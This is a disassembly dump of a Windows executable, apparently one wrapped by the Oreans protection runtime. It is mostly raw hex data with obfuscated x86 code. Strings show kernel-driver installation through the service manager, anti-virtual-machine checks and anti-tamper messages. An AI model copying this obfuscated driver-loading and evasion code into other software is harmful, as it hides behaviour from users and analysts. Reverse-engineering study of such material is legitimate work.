		dd 858D006Ah, 5FBEE80h,	0A3B5FF50h, 0FF05FBEEh,	0F927B995h
		dd 0C9BD8305h, 5F931h, 0C840Fh,	0B5FF0000h, 5FBEEA3h, 0EEAF95FFh
		dd 0B5FF05FBh, 5FBEEA3h, 67195FFh, 0C36105F9h, 0A7858960h
		dd 8D05FBEEh, 0FBEEA385h, 858D5005h, 5FBEE0Dh, 16850h
		dd 95FF8000h, 5FBEEB3h,	858D046Ah, 5FBEEA7h, 6A046A50h
		dd 87858D00h, 5005FBEEh, 0EEA3B5FFh, 95FF05FBh,	5F927B9h
		dd 31C9BD83h, 0F0005F9h, 0C84h,	0A3B5FF00h, 0FF05FBEEh
		dd 0FBEEAF95h, 0A3B5FF05h, 0FF05FBEEh, 0F9067195h, 60C36105h
		dd 0EEA78589h, 858D05FBh, 5FBEEA3h, 0D858D50h, 5005FBEEh
		dd 168h, 0B395FF80h, 6A05FBEEh,	0A7858D04h, 5005FBEEh
		dd 6A046Ah, 0EE8F858Dh,	0FF5005FBh, 0FBEEA3B5h,	0B995FF05h
		dd 8305F927h, 0F931C9BDh, 840F0005h, 0Ch, 0EEA3B5FFh, 95FF05FBh
		dd 5FBEEAFh, 0EEA3B5FFh, 95FF05FBh, 5F90671h, 8960C361h
		dd 0FBEEA785h, 0A3858D05h, 5005FBEEh, 0EE0D858Dh, 685005FBh
		dd 80000001h, 0EEB395FFh, 46A05FBh, 0EEA7858Dh,	6A5005FBh
		dd 8D006A04h, 0FBEE9685h, 0B5FF5005h, 5FBEEA3h,	27B995FFh
		dd 0BD8305F9h, 5F931C9h, 0C840F00h, 0FF000000h,	0FBEEA3B5h
		dd 0AF95FF05h, 0FF05FBEEh, 0FBEEA3B5h, 7195FF05h, 6105F906h
		dd 85C760C3h, 5FBEEA7h,	1, 0EEA3858Dh, 8D5005FBh, 0FBEE0D85h
		dd 2685005h, 0FF800000h, 0FBEEB395h, 0FC00B05h,	0F84h
		dd 0A785C700h, 5FBEEh, 0E9000000h, 4Dh,	858D046Ah, 5FBEEA7h
		dd 6A046A50h, 21858D00h, 5005FBEEh, 0EEA3B5FFh,	95FF05FBh
		dd 5F927B9h, 840FC00Bh,	0Fh, 0EEA785C7h, 5FBh, 0AE90000h
		dd 0C7000000h, 0FBEEA785h, 105h, 0A3B5FF00h, 0FF05FBEEh
		dd 0F9067195h, 858B6105h, 5FBEEA7h, 858960C3h, 5FBEEA7h
		dd 0EEA3858Dh, 8D5005FBh, 0FBEE0D85h, 1685005h,	0FF800000h
		dd 0FBEEB395h, 8D046A05h, 0FBEEA785h, 46A5005h,	858D006Ah
		dd 5FBEE21h, 0A3B5FF50h, 0FF05FBEEh, 0F927B995h, 0C9BD8305h
		dd 5F931h, 0C840Fh, 0B5FF0000h,	5FBEEA3h, 0EEAF95FFh, 0B5FF05FBh
		dd 5FBEEA3h, 67195FFh, 0C36105F9h, 0A7858960h, 8D05FBEEh
		dd 0FBEEA385h, 858D5005h, 5FBEE0Dh, 16850h, 95FF8000h
		dd 5FBEEB3h, 858D046Ah,	5FBEEA7h, 6A046A50h, 33858D00h
		dd 5005FBEEh, 0EEA3B5FFh, 95FF05FBh, 5F927B9h, 31C9BD83h
		dd 0F0005F9h, 0C84h, 0A3B5FF00h, 0FF05FBEEh, 0FBEEAF95h
		dd 0A3B5FF05h, 0FF05FBEEh, 0F9067195h, 0C6C36105h, 0F9189985h
		dd 7685205h, 0FFADE47Bh, 0F90FC5B5h, 4995FF05h,	8905F916h
		dd 0FBEEB385h, 9985C605h, 5205F918h, 2E00E568h,	0C5B5FF90h
		dd 0FF05F90Fh, 0F9164995h, 0AF858905h, 0C605FBEEh, 0F9189985h
		dd 35685205h, 0FFB9BF12h, 0F90FC5B5h, 4995FF05h, 8905F916h
		dd 0F927B985h, 9985C605h, 5205F918h, 78103468h,	0C5B5FF98h
		dd 0FF05F90Fh, 0F9164995h, 71858905h, 0C605F906h, 0F9189985h
		dd 0D4685205h, 0FFC005DBh, 0F90FC5B5h, 4995FF05h, 8905F916h
		dd 0F92AED85h, 0BE805h,	64480000h, 0F28EB1E8h, 66414DD3h
		dd 81F55872h, 6D1DC0h, 6176B900h, 25685744h, 0E800001Bh
		dd 7, 34CBA0B1h, 0BB12BE53h, 0FDFF3F9h,	0B70F5A59h, 81388BC8h
		dd 5A2804C7h, 8116B777h, 26E124C7h, 0DAB70F17h,	391CF781h
		dd 890F127Ah, 2, 3889DE8Bh, 0EE9h, 75B32600h, 8D595BC0h
		dd 1312A8F7h, 83B71FA7h, 9E902E8h, 74000000h, 0D4613F2Dh
		dd 29E77E67h, 5E94848h,	0E000000h, 42A5A6Dh, 0A6850F4Ah
		dd 0E9FFFFFFh, 99h, 6775622Fh, 63656863h, 2F00326Bh, 63677562h
		dd 6B636568h, 6F662F00h, 72656372h, 2F006E75h, 63677562h
		dd 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h
		dd 776F6873h, 65646F63h, 632F0032h, 74726Ch, 7369642Fh
		dd 732F0031h, 69776F68h, 6174736Eh, 65636Eh, 7465672Fh
		dd 74736C77h, 73757461h, 6F6C2F00h, 61747367h, 737574h
		dd 6D75642Fh, 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 4
		dd 0FFBD8300h, 5FBF5h, 0A840Fh,	85C70000h, 5F912B5h, 1
		dd 189985C6h, 684705F9h, 0B9CC2145h, 0C8243481h, 0FF29A14Dh
		dd 0F92719B5h, 6A858D05h, 0FF05F93Ah, 8BD0FFD0h, 223F80F8h
		dd 22850Fh, 0B0470000h,	850FAE22h, 0FFFFFFF9h, 0F003F80h
		dd 31B84h, 3F804700h, 11840F00h, 0E9000003h, 1Eh, 0F003F80h
		dd 30384h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
		dd 3F80FFFFh, 5850F00h,	0E9000000h, 2E0h, 1E9h,	3F804700h
		dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5,	2C3E9h,	0AE800h
		dd 0CBE90000h, 0E9FFFFFFh, 2B4h, 0F57FB58Dh, 25E805FBh
		dd 3000002h, 0FBF614BDh, 14BD8305h, 5FBF6h, 0B840Fh, 85C70000h
		dd 5F931C9h, 1,	8AB58DC3h, 0E805FBF5h, 1FCh, 0F614BD03h
		dd 0BD8305FBh, 5FBF614h, 0B840F00h, 0C7000000h,	0F912B585h
		dd 105h, 0B58DC300h, 5FBF603h, 1D3E8h, 14BD0300h, 8305FBF6h
		dd 0FBF614BDh, 840F0005h, 0Bh, 120185C7h, 105F9h, 8DC30000h
		dd 0FBF594B5h, 1AAE805h, 0BD030000h, 5FBF614h, 0F614BD83h
		dd 0F0005FBh, 0B84h, 0B585C700h, 105F912h, 0C3000000h
		dd 0F59EB58Dh, 81E805FBh, 3000001h, 0FBF614BDh,	14BD8305h
		dd 5FBF6h, 15840Fh, 85C70000h, 5F912B5h, 1, 31C985C7h
		dd 105F9h, 8DC30000h, 0FBF5ACB5h, 14EE805h, 0BD030000h
		dd 5FBF614h, 0F614BD83h, 0F0005FBh, 0A84h, 185C700h, 105F928h
		dd 8D000000h, 0FBF5B6B5h, 126E805h, 0BD030000h,	5FBF614h
		dd 0F614BD83h, 0F0005FBh, 0A84h, 185C700h, 105F928h, 8D000000h
		dd 0FBF5C1B5h, 0FEE805h, 0BD030000h, 5FBF614h, 0F614BD83h
		dd 0F0005FBh, 0A84h, 0BD85C700h, 105F900h, 8D000000h, 0FBF5C7B5h
		dd 0D6E805h, 0BD030000h, 5FBF614h, 0F614BD83h, 0F0005FBh
		dd 0A84h, 0CD85C700h, 105F92Eh,	8D000000h, 0FBF5CDB5h
		dd 0AEE805h, 0BD030000h, 5FBF614h, 0F614BD83h, 0F0005FBh
		dd 0A84h, 0C185C700h, 105F91Ah,	8D000000h, 0FBF5DBB5h
		dd 86E805h, 0BD030000h,	5FBF614h, 0F614BD83h, 0F0005FBh
		dd 0A84h, 585C700h, 105F914h, 8D000000h, 0FBF5E8B5h, 5EE805h
		dd 0BD030000h, 5FBF614h, 0F614BD83h, 0F0005FBh,	0A84h
		dd 0E985C700h, 105F915h, 8D000000h, 0FBF5F3B5h,	36E805h
		dd 0BD030000h, 5FBF614h, 0F614BD83h, 0F0005FBh,	0A84h
		dd 4985C700h, 105F90Fh,	0E9000000h, 1, 203F8047h, 9840Fh
		dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h
		dd 1CE9h, 3F8000h, 5850Fh, 0B90000h, 8A000000h,	0F163817h
		dd 284h, 46C92B00h, 3E8047h, 8840Fh, 0C90B0000h, 0FFD3850Fh
		dd 0C90BFFFFh, 21840Fh,	3F800000h, 9840F00h, 80000000h
		dd 850F203Fh, 0Ah, 1B9h, 5E900h, 0B90000h, 0B000000h, 0D840FC9h
		dd 2B000000h, 14B589F3h, 0E905FBF6h, 0Ah, 0F61485C7h, 5FBh
		dd 0C3610000h, 0B8h, 0FC00B00h,	0A84h, 185C700h, 5F928h
		dd 8B000000h, 10E8C8h, 1BB00000h, 51A42680h, 1BFA4BD5h
		dd 9EDEA242h, 0BD8B554Bh, 5F92615h, 68F0F59h, 8B000000h
		dd 0F919BDB5h, 0C8C18105h, 89000070h, 0F92585B5h, 1BFC6805h
		dd 8B660000h, 0F5358F1h, 0FF5AF3BFh, 1B58931h, 5B05F909h
		dd 56A9ADBFh, 0ACF3816Dh, 8B7CA747h, 0F90005BDh, 0F2EB8105h
		dd 66478F4Fh, 0F381F38Bh, 1DF3D619h, 0E600BA66h, 8FD68B53h
		dd 0C59D8901h, 8305F92Dh, 49FC02E9h, 0B58B6049h, 5F92DBDh
		dd 0E85F5060h, 0Ah, 0ED407949h,	255699Dh, 61585A25h, 1E88361h
		dd 13850Fh, 95890000h, 5F9316Dh, 31E9h,	77DF2100h, 82F3D63Dh
		dd 0BE971h, 8FA0000h, 0ED431B41h, 0F05AF32Eh, 0FF75E93Bh
		dd 0F8D3FFFFh, 75623B7Fh, 47E2A479h, 235D97DBh,	0B61EC182h
		dd 0EE96262h, 33000002h, 6E6E6143h, 7720746Fh, 65746972h
		dd 65726F20h, 2E736E61h, 0A647876h, 6B614D0Dh, 75732065h
		dd 74206572h, 20746168h, 73696874h, 6C696620h, 73692065h
		dd 746F6E20h, 69656220h, 7520676Eh, 20646573h, 61207962h
		dd 68746F6Eh, 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 0EFE900h, 85C60000h,	5F91899h, 5B866847h, 0B5FFE3E4h
		dd 5F92719h, 3A6A858Dh,	0D0FF05F9h, 10468h, 3D9D8D00h
		dd 5305F90Eh, 8D50D0FFh, 0FBFC82B5h, 32FE8B05h,	850FAEC0h
		dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 0F9189985h
		dd 0FC684305h, 0FFBC8E6Eh, 0F92719B5h, 6A858D05h, 0FF05F93Ah
		dd 3DB58DD0h, 6A05F90Eh, 806800h, 26A0000h, 6A006Ah, 68h
		dd 0D0FF56C0h, 85C6D88Bh, 5F91899h, 0EE566857h,	0B5FFA69Bh
		dd 5F92719h, 3A6A858Dh,	0D0FF05F9h, 2669BD8Dh, 8D8D05F9h
		dd 5FBFDA8h, 6857006Ah,	37D0h, 0D0FF5351h, 850FC085h, 1Bh
		dd 0FA8AB58Dh, 858D05FBh, 5FBE74Eh, 8D8DD0FFh, 5F97285h
		dd 0B8h, 0C6E1FF00h, 0F9189985h, 0A7684305h, 0FFC0764Ah
		dd 0F92719B5h, 6A858D05h, 0FF05F93Ah, 0D0FF53D0h, 37D0B9C3h
		dd 0E80000h, 58000000h,	890EC083h, 2E908h, 0C38B0000h
		dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
		dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
		dd offset dword_454844+3BCh
		dd 0
		dd 4000200h, 0
		dd 3800000h, 1400h, 4 dup(0)
		dd 20000h, 1C000h, 9000h, 0
		dd 7E00h, 0
		dd 0C400h, 100h, 0DC00h, 3 dup(0)
		dd 12C00h, 13800h, 2 dup(0)
		dd 14200h, 19600h, 1D200h, 0
		dd 1D200h, 0
		dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
		dd 27C004h, 0
		dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
		dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
		dd 9000000h, 0A000000h,	0B000000h, 0C000000h, 0D000000h
		dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
		dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
		dd 300h, 0
		dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
		dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
		dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
		dd 16B0007h, 277101h, 360h dup(0)
		dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
		dd 72657600h, 5050h, 73763100h,	73763252h, 73763352h, 52h
		dd 9C3h	dup(0)
		dd 1BE88300h, 7309F883h, 8524FF07h, 0
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 8 dup(0)
		dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h,	7E831AEBh
		dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
		dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 10B7E900h, 44410000h
		dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h
		dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h
		dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h
		dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h
		dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h
		dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh
		dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0)
		dd 6165726Fh, 3233736Eh, 7379732Eh, 2 dup(0)
		dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
		dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
		dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
		dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
		dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot	db 'SYSTEMROOT',0
aSSystem32Drive	db '%s\system32\drivers\%s',0
aSSyswow64Drive	db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0	db '%s\system32\drivers\oreans32.sys',0
		align 4
		dd 48h dup(0)
		dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
		dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
		dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
		dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
		dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
		dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
		dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
		dd 72676F72h, 2E6D61h, 59h dup(0)
		dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
		dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
		dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
		dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
		dd 20726568h, 676F7270h, 2E6D6172h, 67h	dup(0)
		dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
		dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
		dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
		dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
		dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
		dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
		dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
		dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
		dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
		dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
		dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
		dd 65h,	72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
		dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
		dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
		dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
		dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
		dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
		dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
		dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
		dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
		dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
		dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
		dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
		dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
		dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
		dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh	dup(0)
		dd 10000000h, 0
		dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
		dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
		dd 53000000h, 69767265h, 50206563h, 206B6361h, 32h, 1Ch	dup(0)
		dd 53000000h, 7774666Fh, 5C657261h, 656E6957h, 8BC48B00h
		dd 0F918E58Dh, 0F5858905h, 3105F913h, 0F914698Dh, 58D0905h
		dd 8B05F926h, 519589C0h, 905F909h, 0F928919Dh, 0C9BD8305h
		dd 5F931h, 0BD830975h, 5F912B5h, 50197400h, 0B8C08B53h
		dd 43Dh, 28E98589h, 9D8D05F9h, 5FBF384h, 585BD3FFh, 12B5BD83h
		dd 740005F9h, 0B8535017h, 43Dh,	28E98589h, 9D8D05F9h, 5FBF073h
		dd 585BD3FFh, 24DD9589h, 952905F9h, 5F918B5h, 8166C08Bh
		dd 8B98FCC2h, 0DAD281C0h, 6659244Ah, 0BD83FA8Bh, 5F931C9h
		dd 83097500h, 0F912B5BDh, 13740005h, 0C08B5350h, 0B8h
		dd 269D8D00h, 0FF05FBF2h, 83585BD3h, 0F912B5BDh, 11740005h
		dd 0B85350h, 8D000000h,	0FBF0D79Dh, 5BD3FF05h, 50006A58h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 42A8C7DBh, 24090161h, 8D8B75C3h, 5F9012Dh, 8B66C08Bh
		dd 81C08BFAh, 0A641F8E7h, 0C9BD831Eh, 5F931h, 0BD830975h
		dd 5F912B5h, 50137400h,	0B8C08B53h, 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+5FBF158h]
		call	ebx
		pop	ebx
		pop	eax
		cmp	dword ptr [ebp+5F912B5h], 0
		jz	short loc_59FD68
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+5FBF0A5h]
		call	ebx
		pop	ebx
		pop	eax


loc_59FD68:				; CODE XREF: .XComp0:0059FD55j
		mov	edi, 3725CC88h
		push	esi
		xor	[ebp+5F903D9h],	eax
		pop	edi
		mov	eax, eax
		push	0
		push	ebp
		call	sub_59FD82
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59FD82	proc near		; CODE XREF: .XComp0:0059FD7Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_59FD82	endp

; ---------------------------------------------------------------------------
		dw 65h
; ---------------------------------------------------------------------------
		xor	[ebp-75h], esp
		shl	byte ptr [esi-7Fh], 0DAh
		cmpsd
		mov	edi, 31C9BD83h
		stc
		add	eax, 83097500h
		mov	ebp, 5F912B5h
		add	[ebx+edx+50h], dh
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+5FBF1BFh]
		call	ebx
		pop	ebx
		pop	eax
		cmp	dword ptr [ebp+5F912B5h], 0
		jz	short loc_59FDDC
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+5FBF0BEh]
		call	ebx
		pop	ebx
		pop	eax


loc_59FDDC:				; CODE XREF: .XComp0:0059FDC9j
		push	0
		push	edi
		call	sub_59FDE7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59FDE7	proc near		; CODE XREF: .XComp0:0059FDDFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_59FDE7	endp

; ---------------------------------------------------------------------------
		db 0E1h
		dd 0D18BDC85h, 8D8BC08Bh, 5F93185h, 0E181C08Bh,	0A760FD2h
		dd 31C9BD83h, 750005F9h, 0B5BD8309h, 5F912h, 53501374h
		dd 0B8C08Bh, 8D000000h,	0FBF0F19Dh, 5BD3FF05h, 12E858h
		dd 329A0000h, 4E48F0B1h, 2F135AACh, 0AC9B96CDh,	0D8CB2411h
		dd 41DF8166h, 9D895925h, 5F9009Dh, 0C08BC08Bh, 0C9BD83F8h
		dd 5F931h, 0BD830975h, 5F912B5h, 50197400h, 0B8C08B53h
		dd 7D0h, 28E98589h, 9D8D05F9h, 5FBF384h, 585BD3FFh, 12B5BD83h
		dd 740005F9h, 0B8535017h, 7D0h,	28E98589h, 9D8D05F9h, 5FBF073h
		dd 585BD3FFh, 0C9D958Bh, 953305F9h, 5F90FFDh, 0AE9C08Bh
		dd 60000000h, 0A237BD94h, 9C39C401h, 9985C6F1h,	5305F918h
		dd 33019D29h, 906805F9h, 0B99395Fh, 0F9291DBDh,	19B5FF05h
		dd 6A05F927h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 2B27C357h, 0F36E8B3h, 281h, 8DA0B100h
		dd 0F93A6A85h, 0BD958905h, 0FF05F91Ah, 8589F9D0h, 5F920D5h
		dd 0C7B86660h, 61585320h, 189985C6h, 0F5705F9h,	668FEB7h
		dd 80900452h, 0E4B14CDEh, 2719B5FFh, 895005F9h,	0F9282DBDh
		dd 858D5905h, 5F93A6Ah,	9E8D0FFh, 30000000h, 9A217458h
		dd 3F16970Eh, 1185895Fh, 6605F909h, 0C126D281h,	189985C6h
		dd 6A4305F9h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0AC7AC352h, 330E5E6h, 0D22F725Bh
		dd 68D2B70Fh, 0BC907028h, 52F4C781h, 0B5FF400Bh, 5F92719h
		dd 3A6A858Dh, 12E805F9h, 6D000000h, 6C6BBB77h, 0EB45899Eh
		dd 1B86A754h, 0AF65460Eh, 0B713BAFCh, 0FF5A1E8Eh, 707EBFD0h
		dd 85891FCCh, 5F92B15h,	85C6D18Bh, 5F91899h, 50006A4Ch
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 84429DDCh, 68EEB529h, 0D9DA1CE9h, 1F8DBD89h,	0B5FF05F9h
		dd 5F92719h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	6C35747h, 0F0693E39h, 89969B90h, 0F92AADBDh, 8DCB8B05h
		dd 0F93A6A85h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 755002AEh, 0B70F65EFh
		dd 74E280D2h, 5E9D0FFh,	7000000h, 8A8BBDC0h, 2DAD8589h
		dd 8B5205F9h, 0F90915BDh, 85C65F05h, 5F91899h, 0FE946h
		dd 7D120000h, 0BC9E29BCh, 0C08D18C0h, 0B4B61883h, 61468AFh
		dd 8166BADEh, 0E86510F1h, 0Fh, 3A6CC78Fh, 7F52E440h, 3CB7E095h
		dd 0E93D9EF8h, 13h, 0B61353F7h,	0C001864Dh, 392105F7h
		dd 5DBF9B97h, 5956ED9Bh, 2719B5FFh, 0FE905F9h, 0A1000000h
		dd 0F3651212h, 618B3DBh, 80D4ACB0h, 858DE6D9h, 5F93A6Ah
		dd 31BD8BF9h, 0FF05F91Fh, 11E981D0h, 89302F89h,	0F924E185h
		dd 0FE905h, 50880000h, 4AF562BBh, 0E1638379h, 1D459362h
		dd 9985C6A0h, 4705F918h, 0B5E268F8h, 0B5FF8A0Fh, 5F92719h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0EC35343h
		dd 521A25C2h, 0E0A954B9h, 0B589591Ah, 5F919D1h,	3A6A858Dh
		dd 0BD2305F9h, 5F92A5Dh, 0F53D0FFh, 485h, 10BA6600h, 0FB8B5F7Eh
		dd 15098589h, 0BD8905F9h, 5F9329Dh, 189985C6h, 0F4705F9h
		dd 480h, 0DEBF6600h, 0B5F368F6h, 0F28183D0h, 6C652853h
		dd 2719B5FFh, 8D8905F9h, 5F931B5h, 3A6A858Dh, 0BD0105F9h
		dd 5F9017Dh, 958BD0FFh,	5F9287Dh, 5E9h,	76193D00h, 8589B51Ch
		dd 5F92259h, 0C218D8Bh,	85C605F9h, 5F91899h, 5BD78177h
		dd 686FC31Ch, 0F397A8A3h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 4EC35040h, 0F48A8A62h, 2109B5FFh, 0B70F05F9h
		dd 6A858DF8h, 105F93Ah,	0F92E79B5h, 8BD0FF05h, 0CD8589F8h
		dd 8B05F90Dh, 0F9198DBDh, 9985C605h, 4705F918h,	14F99589h
		dd 9D8905F9h, 5F916D9h,	28FAF668h, 0FDB9F587h, 0FF10460Eh
		dd 0F92719B5h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 19EAC323h, 9062DC5h, 0F90005BDh
		dd 6A858D05h, 8B05F93Ah, 0F92945BDh, 0DD9D0105h, 0FF05F904h
		dd 718589D0h, 0FC05F901h, 13E9h, 93661000h, 127E98C9h
		dd 92F0F99h, 0B648486Ah, 0AF8478E4h, 189985C6h,	6A4305F9h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0FB57C355h, 23488D10h, 0F9102995h, 6890F05h
		dd 0F000000h, 82h, 0EF816600h, 0FC683F7Bh, 0FFBC8E6Eh
		dd 0F92719B5h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 57846075h, 0CA8BE817h
		dd 3A6A858Dh, 0D0FF05F9h, 8B665060h, 0BD2959F1h, 5F92825h
		dd 0C5858961h, 0F05F925h, 85C6D2B7h, 5F91899h, 0C2816645h
		dd 69682D4Ah, 8B8E7269h, 0F920798Dh, 19B5FF05h,	0F05F927h
		dd 281h, 8D86B200h, 0F93A6A85h,	0D7816605h, 0D0FF8098h
		dd 2079BD8Bh, 858905F9h, 5F90769h, 85C654B1h, 5F91899h
		dd 0EC646844h, 8166B8F2h, 0FFCE1DE9h, 0F92719B5h, 0FDBD8905h
		dd 8D05F90Fh, 0F93A6A85h, 7DBD8B05h, 8B05F90Fh,	0F9103995h
		dd 1D0FF05h, 0F93301BDh, 6D858905h, 5305F927h, 98E28166h
		dd 85C65AE0h, 5F91899h,	56006A43h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0B967000Bh, 0B5FFBDEh
		dd 764AA768h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0CDA16FA8h, 0FFAD80E8h, 0F92719B5h
		dd 8DD38B05h, 0F93A6A85h, 0DB58905h, 0FF05F908h, 0DD8589D0h
